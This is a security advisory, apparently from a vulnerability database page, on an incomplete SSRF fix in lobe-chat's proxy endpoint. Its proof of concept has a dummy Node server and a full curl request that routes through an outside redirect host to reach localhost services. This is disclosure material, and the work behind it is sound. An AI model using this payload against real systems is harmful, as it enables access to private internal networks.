lobe-chat implemented an insufficient fix for GHSA-mxhq-xw3g-rphc (CVE-2024-32964)
Summary
SSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address.
PoC
-
Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210;
-
Create file dummy-server.js with the following content:
var http = require('http');
console.log("running server");
http.createServer(function (req, res) {
console.log(req.url);
res.writeHead(200, {'Content-Type': 'text/html'});
res.end();
}).listen(3001, 'localhost');And run
node dummy-server.jsas an example server inside of container [1] (or in containers private network).
- Run in terminal to perform request to lobe-chat instance from [1]
curl --path-as-is -i -s -k -X $'POST' \
-H $'Host: 0.0.0.0:3210' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: http://0.0.0.0:3210/settings/agent?agent=&session=inbox&tab=' -H $'Content-Type: text/plain;charset=UTF-8' -H $'Content-Length: 74' -H $'Origin: http://0.0.0.0:3210' -H $'Connection: keep-alive' -H $'Priority: u=0' \
-b $'LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined' \
--data-binary $'http://130.193.49.129:8090/redirect?url=http://localhost:3001/iamssrf_1337' \
$'http://0.0.0.0:3210/api/proxy'where body contains url of server which redirects to internal network (in my case it redirects according url parameter).
- Observe in output of [2]
running server
/iamssrf_1337- Attacker is able to perform SSRF attacks against lobe-chat despite https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts#L26 check.
Fix recommendations:
- Disable redirects - lobe-chat should consider explicitly disable redirects.
- If redirects support is required, perform check before each http request.
Impact
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | @lobehub/chat | < 1.19.13 | 1.19.13 |
References
- https://github.com/lobehub/lobe-chat/security/advisories/GHSA-3fc8-2r3f-8wrg
- https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc
- https://nvd.nist.gov/vuln/detail/CVE-2024-47066
- https://github.com/lobehub/lobe-chat/commit/e960a23b0c69a5762eb27d776d33dac443058faf
- https://github.com/lobehub/lobe-chat
- https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H- Weakness (CWE)
CWE-918- Platform
- npm
- Package
@lobehub/chat- Disclosed
- 23.09.2024
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-3fc8-2r3f-8wrg - CC BY 4.0
Vulnerability history: @lobehub/chat
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 11
- First → latest
- 01.2024 02.2026
- Without a fix
- 2
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 1
- Medium 6
- Low 2
Disclosures per year
- 2024: 5
- 2025: 3
- 2026: 3
-
lobe-chat implemented an insufficient fix for GHSA-mxhq-xw3g-rphc (CVE-2024-32964) this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.